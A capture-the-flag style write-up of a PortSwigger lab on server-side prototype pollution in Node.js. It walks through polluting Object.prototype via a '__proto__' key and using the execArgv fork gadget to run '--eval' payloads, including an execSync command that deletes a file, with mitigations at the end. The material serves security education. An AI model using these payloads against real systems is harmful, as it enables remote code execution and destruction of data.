Necessary Background Concepts To Solve The Lab

Javascript Prototype click to expand

Most JavaScript objects have a link to a special object called its prototype

That link is not a copy of properties. It is a fallback: when you read a key that the object does not own, the engine looks for it on the prototype.

Each prototype can link to another one in turn. Those links form a prototype chain, which ends at null.

So a missing property is searched in this order:

  1. the object itself (own properties)
  2. its prototype
  3. that prototype’s prototype, and so on, until either finds it or finds null and returns the famous undefined

Prototype chain behavior examples

A lookup can walk more than one link. Here user inherits from roleDefaults, which still inherits from Object.prototype:

const roleDefaults = {
  isAdmin: false
}

const user = {
  username: "carlos",
  __proto__: roleDefaults
}

console.log(user.username) // "carlos" (own)
console.log(user.isAdmin)  // false    (from roleDefaults)
console.log(user.toString) // [Function: toString] (from Object.prototype but was searched first in user and roleDefaults)

// The full chain:
// user -> roleDefaults -> Object.prototype -> null

A few more short examples

Undefined property default behavior:

const user = {
  username: "carlos"
}

console.log(user.isAdmin) // undefined

Undefined property but present on the prototype chain:

const user = {
  username: "carlos",
  __proto__: {
    isAdmin: true
  }
}

console.log(user.isAdmin) // true

Priority of properties:
Own properties always win over inherited ones. If the object already has the key, the chain is not consulted

const user = {
  username: "carlos",
  isAdmin: false,
  __proto__: {
    isAdmin: true
  }
}

console.log(user.isAdmin) // false
Prototype Pollution Basics click to expand

Prototype pollution exploits how JavaScript objects inherit properties. With controlled input, an attacker sets properties on an object’s prototype (the shared fallback other objects also use). Those objects then see the new properties even though they never defined them, which can change how the application behaves.

The usual high-impact target is Object.prototype, because most plain objects inherit from it. The attack does not always need that root, though.

Any prototype that sits on the chain of objects the application trusts is enough.

Polluting User.prototype, a shared config prototype, or another intermediate link can flip checks like if (user.isAdmin) for that lineage alone, even while unrelated objects stay unaffected.

Prototype pollution can happen client-side in the browser, or server-side if the backend runs a JavaScript runtime (usually Node.js).

Example payloads

These are common shapes attackers send when an app merges or parses user input unsafely.

Via __proto__:

{
  "__proto__": {
    "isAdmin": true
  }
}

Same idea in a query or URL (some client-side parsers turn nested keys into objects):

?__proto__[isAdmin]=true
#__proto__[isAdmin]=true

Via constructor.prototype:

{
  "constructor": {
    "prototype": {
      "isAdmin": true
    }
  }
}

Payload explaination:

Every object has a constructor that points at the function used to create it. Writing to constructor.prototype pollutes that function’s prototype, so later instances inherit the property.

class User {
  username = ""
}

const user1 = new User()

user1.constructor.prototype.isAdmin = true // same as: User.prototype.isAdmin = true

const user2 = new User()

console.log(user2.isAdmin) // true

const somethingElse = {}

console.log(somethingElse.isAdmin) // undefined (different prototype chain)
Node.js execArgv Gadget click to expand

Node.js execArgv as a Gadget

When you start Node yourself, you can pass CLI flags before the script:

node --inspect app.js
node --require ./preload.js app.js
node --eval "console.log(1)"

Those flags change how the Node process boots: enable the debugger, preload a module, or run inline JavaScript with --eval / -e.

child_process.fork() and spawn() can pass the same kind of flags to a child Node process through an options field named execArgv. It is just an array of strings, for example ["--inspect"] or ["--eval=console.log(1)"].

const { fork } = require("child_process")

fork("./worker.js", [], {
  execArgv: ["--eval=console.log('child boot')"]
})

If application code builds an options object and never sets its own execArgv, a normal property read still walks the prototype chain:

const options = {}

options.execArgv // undefined

Object.prototype.execArgv = ["--eval=console.log('polluted')"]

options.execArgv // ["--eval=console.log('polluted')"]

After pollution, fork(script, args, options) can start the child with attacker-controlled Node flags. --eval is the interesting one: the child runs arbitrary JavaScript during startup. From that JavaScript you can call require("child_process").execSync(...) and run OS commands.

So the gadget is not “fork is always RCE”. The gadget is: pollute execArgv, then hit any code path that uses fork or spawn with an options object that inherits your value.

Lab’s content

This lab contains a login for the user wiener:peter, which has admin privileges.

Once authenticated, the two relevant features for the attack are:

  1. The endpoint (POST /my-account/change-address) that unsafely merges request data into a server-side object, from there we can pollute the global Object.prototype of the Node.js backend.

  2. The admin endpoint (POST /admin/jobs) that starts separate Node.js worker processes for maintenance jobs. If those workers inherit a polluted execArgv from Object.prototype, we can emulate the Node.js --eval flag to run arbitrary code and turn prototype pollution into Remote Code Execution.

The goal of the lab is to delete the file /home/carlos/morale.txt.

PortSwigger's original descriptionclick to expand

This lab is built on Node.js and the Express framework. It is vulnerable to server-side prototype pollution because it unsafely merges user-controllable input into a server-side JavaScript object. Due to the configuration of the server, it's possible to pollute `Object.prototype` in such a way that you can inject arbitrary system commands that are subsequently executed on the server. To solve the lab: find a prototype pollution source that you can use to add arbitrary properties to the global `Object.prototype`; identify a gadget that you can use to inject and execute arbitrary system commands; trigger remote execution of a command that deletes the file `/home/carlos/morale.txt`. In this lab, you already have escalated privileges, giving you access to admin functionality. You can log in to your own account with the following credentials: `wiener:peter`

Writeup

Set the base URL in a bash variable to make the rest of the commands shorter:

BASE_LAB_URL="https://<lab-url>.web-security-academy.net"

Login

The CSRF token is tied to the session cookie. If you POST login without that cookie, the server opens a new empty session and rejects the token. So lets get both values:

curl -s -D - "$BASE_LAB_URL/login" | grep -iE 'set-cookie|csrf'

Command breakdown:
-s = silent mode (no progress meter)
-D - = dump response headers to stdout
"$BASE_LAB_URL/login" = expands to https://<lab-url>.web-security-academy.net/login
| grep -iE 'set-cookie|csrf' = output only the lines containing session cookie and CSRF token

Example output:

set-cookie: session=<session-cookie>; Secure; HttpOnly; SameSite=None
<input required type="hidden" name="csrf" value="<csrf-token>">

POST /login is the authentication endpoint. Use the session cookie from above with the matching CSRF token to authenticate:

curl -s -D - \
  -b "session=<session-cookie>" \
  -d '{"csrf":"<csrf-token>","username":"wiener","password":"peter"}' \
  "$BASE_LAB_URL/login"
Formatted request body click to expand
{
  "csrf": "<csrf-token>",
  "username": "wiener",
  "password": "peter"
}

Command breakdown:
-b "session=<session-cookie>" = same session that issued the CSRF token
-d '{"csrf":...,"username":"wiener","password":"peter"}' = same fields the page posts via jsonSubmit() when using the browser

HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: session=<session-cookie>; Secure; HttpOnly; SameSite=None

Important: Use the new session cookie from this response for the rest of the lab, do not use the one from the previous request.

Find the pollution source

POST /my-account/change-address updates the billing address as JSON. To check whether merges are prototype-safe, pollute Express’s json spaces setting. If the raw response suddenly comes back indented, Object.prototype was writable:

curl -s \
  -b "session=<session-cookie>" \
  -d '{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"<session-cookie>","__proto__":{"json spaces":10}}' \
  "$BASE_LAB_URL/my-account/change-address"
Formatted request body click to expand
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "<session-cookie>",
  "__proto__": {
    "json spaces": 10
  }
}

Command breakdown:
-b "session=<session-cookie>" = send the session cookie to perform the action as the wiener user
sessionId = this app requires the session id in the JSON body so we pass it that way too
"__proto__":{"json spaces":10} = the pollution payload.

Raw response shape:

{
          "username": "wiener",
          "firstname": "Peter",
          "lastname": "Wiener",
          "address_line_1": "Wiener HQ",
          "isAdmin": true,
          "json spaces": 10
}

Because of the unsafe merge, “json spaces” lands on Object.prototype. Plain objects can inherit it on lookup. Express picks it up when formatting JSON, so the response is indented with 10 spaces. In this lab the property can also show up in the JSON body itself, which is extra proof the prototype is polluted.

Important: Pollution stays in the Node process until restart. If you break the app while testing, use Restart node application in the lab banner. In real life, there is no restart button so be careful with your tests.

If you want to see the pollution’s persistent issue you can issue the same request again without the pollution key and you will see that the property is still there reflected in the response and formatted in the JSON body, the global Object.prototype is still polluted.

How to achieve Remote Code Execution via Prototype Pollution

We do not get the lab’s source code, but thanks to my web developer background I can show a simplified scenario that matches the lab’s behavior. To understand what we have so far and what can we do with it.

Part 1: What we have so far. The unsafe merge function on change address endpoint

// unsafe merge function
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      merge(target[key], source[key])
    } else {
      target[key] = source[key] // Unsafe assignment
    }
  }
  return target
}

// POST /my-account/change-address endpoint handler
async function changeAddress(req, res) {
  const user = await User.findById(req.auth.user.id) // retrieve the user from the database

  merge(user.address, req.body) // The unsafe merge reads the "__proto__" key and writes into Object.prototype.

  await User.update(user) // update the user in the database
  
  res.json(user.address) // return the updated user address
}

Script breakdown:
merge(user.address, req.body) = merges the already-parsed JSON body. The framework’s automatic parsing turned "__proto__" into a normal own property
for (let key in source) = walks attacker keys, including "__proto__"
merge(target[key], source[key]) = recursive merge for object values.
target[key] = source[key] = assigns a non-object value onto the target object.

The reason behind this kind of merge is to update nested objects without wiping sibling fields. A shallow assign would replace a whole branch. Recursion walks into objects and only overwrites the keys you sent:

const address = { city: "Madrid", metadata: { verified_address: false } }

merge(address, { metadata: { verified_address: true } })

// address.city stays "Madrid"
// address.metadata.verified_address becomes true

That is useful for a “change address” form. The bug is that the same recursion also walks attacker keys like "__proto__".

The important part is the recursive call when key is "__proto__".
Reading target["__proto__"] does not return a normal nested object. It returns the target’s prototype, which for a plain address object is Object.prototype.
So subsequently merge(target[key], source[key]) becomes merge(Object.prototype, { "json spaces": 10 }), and the next assignments write straight onto Object.prototype instead of onto user.address.nested_object.

Part 2: Child-process gadget on the admin jobs endpoint

In the admin’s dashboard there is an endpoint POST /admin/jobs. When called it starts separate Node.js worker processes for maintenance jobs. If those workers inherit a polluted execArgv from Object.prototype, we can emulate the Node.js --eval flag to run arbitrary code and turn prototype pollution into effective Code Execution.

Here is my attempt to replicate the behavior behind this endpoint:

const { fork } = require("child_process") // fork is a function that creates a new child process

// POST /admin/jobs endpoint handler
async function runAdminJobs(req, res) {
  const results = []

  for (const name of req.body.tasks) { // iterate over the tasks sent in the request body
    const options = { cwd: __dirname } // set the current working directory to the directory of the script

    const child = fork(`./tasks/${name}.js`, [], options) // on older node versions execArgv is inherited here in the options parameter this is the vector for RCE
    
    const result = await new Promise((resolve) => { // run the actual task
      const timer = setTimeout(() => { // set a timeout of 5 seconds to resolve the promise and kill the process if it takes too long

        child.kill()
        
        resolve({ name, success: false, error: { message: "Timed out waiting for task to complete." } })
      }, 5000)

      child.on("exit", (code) => { // if the execution flow reaches this point, it means the task finished before the timeout
        
        clearTimeout(timer) // clear the 5 second timer we set earlier
        
        resolve(code === 0 // if the exit code is 0, return a success object otherwise return an error object
          ? { name, success: true, message: "Child process executed successfully" }
          : { name, success: false, error: { code, message: "Unexpected error." } }
        )
      })
    })

    results.push(result) // add the result to the results array
  }

  res.json({ results }) // send the results as a JSON response
}

Script breakdown:
options = { cwd: __dirname } = fork options with no own execArgv
fork(..., [], options) = fork internally reads the properties of options including options.execArgv so a polluted Object.prototype.execArgv can become the child’s Node CLI flags allowing us to to run arbitrary code with --eval=
setTimeout(..., 5000) = kills a hanged child process and returns "Timed out waiting for task to complete."
child.on("exit", ...) = reads the exit code of the child process and returns a non verbose informative JSON for the response

Important: I suspect this lab runs on a Node version older than 18.18.0 / 20.6.0.
Before those releases, fork and related functions used to read the options paremeters with a plain property lookup (including the ones sitting on the prototype chain), so a polluted Object.prototype.execArgv was treated as a real option and passed to the child as Node CLI flags.
Starting in 18.18.0 and 20.6.0 PR #48726 , child_process only honors own properties on the options object, so this inherited execArgv gadget no longer works unless application code copies the polluted value onto the options object itself (via merging option objects with a for..in loop for example) before passing it to the function’s parameters.

Let’s do a sanity check on the admin jobs endpoint before we start hacking it

Let’s grab a fresh CSRF from /admin so we can interact with the POST /admin/jobs endpoint:

curl -s "$BASE_LAB_URL/admin" -b "session=<session-cookie>" | grep csrf

Now include the CSRF token and the session we got from the login endpoint in the request:

curl -s \
  -b "session=<session-cookie>" \
  -d '{"csrf":"<csrf-token>","sessionId":"<session-cookie>","tasks":["db-cleanup","fs-cleanup"]}' \
  "$BASE_LAB_URL/admin/jobs"
Formatted request body click to expand
{
  "csrf": "<csrf-token>",
  "sessionId": "<session-cookie>",
  "tasks": [
    "db-cleanup",
    "fs-cleanup"
  ]
}
{
  "results": [
    { "name": "db-cleanup", "success": true },
    { "name": "fs-cleanup", "success": true }
  ]
}

Confirm the RCE vector without Collaborator

The official solution pings Burp Collaborator from --eval to prove command execution. That works if you have Collaborator. So we want a confirmation that stays inside the lab.

Let’s treat it as a blind RCE and detect it by the timeout response. We’ll pollute execArgv with the change-address feature so when we trigger the admin jobs the child runs sleep 5:

curl -s \
  -b "session=<session-cookie>" \
  -d "{\"address_line_1\":\"Wiener HQ\",\"address_line_2\":\"One Wiener Way\",\"city\":\"Wienerville\",\"postcode\":\"BU1 1RP\",\"country\":\"UK\",\"sessionId\":\"<session-cookie>\",\"__proto__\":{\"execArgv\":[\"--eval=require('child_process').execSync('sleep 5')\"]}}" \
  "$BASE_LAB_URL/my-account/change-address"
Formatted request body click to expand
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "<session-cookie>",
  "__proto__": {
    "execArgv": [
      "--eval=require('child_process').execSync('sleep 5')"
    ]
  }
}

Command breakdown:
--eval=require('child_process').execSync('sleep 5') = child process blocks on sleep 5 during startup
execSync = it’s a function that can run shell commands

Trigger POST /admin/jobs again with the same request as before in the sanity check. Instead of success, both tasks fail but with timeout messages:

{
  "results": [
    {
      "name": "db-cleanup",
      "success": false,
      "error": { "message": "Timed out waiting for task to complete." }
    },
    {
      "name": "fs-cleanup",
      "success": false,
      "error": { "message": "Timed out waiting for task to complete." }
    }
  ]
}

Timed out waiting for task to complete. means the child accepted our execArgv and ran our --eval.
If instead of sleep 5 we made it run a code that crashes the child process, we would get an unexpected error response so this is a good indicator that the RCE vector is working.

Delete Carlos’s file

Swap sleep 5 for the objective:

curl -s \
  -b "session=<session-cookie>" \
  -d "{\"address_line_1\":\"Wiener HQ\",\"address_line_2\":\"One Wiener Way\",\"city\":\"Wienerville\",\"postcode\":\"BU1 1RP\",\"country\":\"UK\",\"sessionId\":\"<session-cookie>\",\"__proto__\":{\"execArgv\":[\"--eval=require('child_process').execSync('rm /home/carlos/morale.txt')\"]}}" \
  "$BASE_LAB_URL/my-account/change-address"
Formatted request body click to expand
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "<session-cookie>",
  "__proto__": {
    "execArgv": [
      "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
    ]
  }
}

Trigger POST /admin/jobs again. Example response:

{
  "results": [
    {
      "name": "db-cleanup",
      "success": true,
      "message": "Child process executed successfully"
    },
    {
      "name": "fs-cleanup",
      "success": false,
      "error": { "code": 1, "message": "Unexpected error." }
    }
  ]
}

The first task succeeds deleting the file and the second task fails with an error message because the file was already deleted.

Prototype pollution: because sometimes the most dangerous property on an object is the one you never assigned.

Mitigation

  1. Safe object merges: avoid merging JSON through __proto__, constructor, or prototype specially if it’s a user controlled source.
  2. Own-property options: when calling fork / spawn, set execArgv explicitly (process.execArgv or []) so lookups do not fall through to Object.prototype
  3. Avoid --eval style sinks: do not let user-influenced values reach child process CLI flags, shell strings, or dynamic require paths
  4. Sanitize request data: If possible, never accept prototype pollution sources like __proto__ in the request body.